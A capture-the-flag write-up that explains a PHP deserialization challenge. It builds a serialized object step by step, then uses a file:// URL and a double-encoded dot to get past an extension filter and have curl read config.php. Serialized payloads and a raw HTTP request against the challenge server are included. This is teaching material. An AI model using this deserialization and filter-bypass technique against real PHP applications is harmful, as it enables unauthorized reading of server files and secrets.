Tags: web 

Rating:

# FireShell CTF 2019 – Vice

* **Category:** web
* **Points:** 269

## Challenge

> [http://68.183.31.62:991/](http://68.183.31.62:991/)

## Solution

The challenge will give you a PHP script.

```php
method = $method;
$this->url = $url;
}

function doit(){

$this->host = @parse_url($this->url)['host'];
$this->addr = @gethostbyname($this->host);
$this->name = @gethostbyaddr($this->host);
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

$result = curl_exec($ch);
echo $result;
}else{
die(":)");
}
}
function __destruct(){
if(in_array($this->method,array("doit"))){

call_user_func_array(array($this,$this->method),array());
}else{
die(":)");
}
}
}
if(isset($_GET["gg"])) {
@unserialize($_GET["gg"]);
} else {
highlight_file(__FILE__);
}
```

The flag is probably stored into `config.php` file, hence it must be printed via the *curl* execution.

To perform this, the `doit` method must be executed. That method is invoked into `__destruct()` function if present in the `$method` attribute of the destructed object.

The `unserialize` method must be abused to craft an object with desired parameters.

To serialize an object that can be used for the exploit, the following script can be executed.

```php
class SHITS{
private $url;
private $method;
private $addr;
private $host;
private $name;
}

print serialize(new SHITS);
```

It will print the following.

```
O:5:"SHITS":5:{s:10:"SHITSurl";N;s:13:"SHITSmethod";N;s:11:"SHITSaddr";N;s:11:"SHITShost";N;s:11:"SHITSname";N;}
```

Now you have to customize the script in order to exploit the challenge.

First of all, the `$method` attribute must be set to `doit`.

```php
class SHITS{
private $url;
private $method = "doit";
private $addr;
private $host;
private $name;
}

print serialize(new SHITS);
```

The next attribute to set is `$url`. Analyzing the script, you can discover the presence of a check on localhost address. To bypass this check, the URL could be crafted based on the default path for web sites on Apache servers: `file:///var/www/html/config.php`.

```php
class SHITS{
private $url = "file:///var/www/html/config.php";
private $method = "doit";
private $addr;
private $host;
private $name;
}

print serialize(new SHITS);
```

At this point, another check present in the script must be bypassed. The second checks is referred to the file extension; in particular, the extension `.php` will be blocked.

Luckily, the check is performed via `strpos` and there is a well-known strange behavior, based on which double URL-encoded chars are not considered by `strpos` but are considered valid by *curl* ([https://bugs.php.net/bug.php?id=76671&edit=1](https://bugs.php.net/bug.php?id=76671&edit=1)). So it is sufficient to replace the `.` char with `%252e`.

```php
class SHITS{
private $url = "file:///var/www/html/config.php";
private $method = "doit";
private $addr;
private $host;
private $name;
}

print str_replace(".", "%252e", serialize(new SHITS));
```

The produced payload will be the following.

```
O:5:"SHITS":5:{s:10:"SHITSurl";s:31:"file:///var/www/html/config%252ephp";s:13:"SHITSmethod";s:4:"doit";s:11:"SHITSaddr";N;s:11:"SHITShost";N;s:11:"SHITSname";N;}
```

After this operation the payload must be modified according to the `str_replace`.

The string `file:///var/www/html/config.php` is composed by 31 chars, with the replace operation it will become `file:///var/www/html/config%252ephp`; the GET operation performed server side will automatically perform a URL decode translating `%25` to `%`, hence the string will be `file:///var/www/html/config%2ephp` composed by 33 chars.

The length of the string into the payload must be updated accordingly.

```
O:5:"SHITS":5:{s:10:"SHITSurl";s:33:"file:///var/www/html/config%252ephp";s:13:"SHITSmethod";s:4:"doit";s:11:"SHITSaddr";N;s:11:"SHITShost";N;s:11:"SHITSname";N;}
```

At this point, the payload can be URL-encoded with the following script (don't forget to update the length of the URL string).

```php
class SHITS{
private $url = "file:///var/www/html/config.php";
private $method = "doit";
private $addr;
private $host;
private $name;
}

print str_replace(".", "%252e", urlencode(serialize(new SHITS)));
```

The payload will be the following.

```
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
```

The GET request and response will be the following.

```
GET /?gg=O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D HTTP/1.1
Host: 68.183.31.62:991
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ugifl5ke3p183slvcbcs6r5054
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Sun, 27 Jan 2019 16:19:07 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 137
Connection: close
Content-Type: text/html

Original writeup (https://github.com/m3ssap0/CTF-Writeups/blob/master/FireShell%20CTF%202019/Vice/README.md).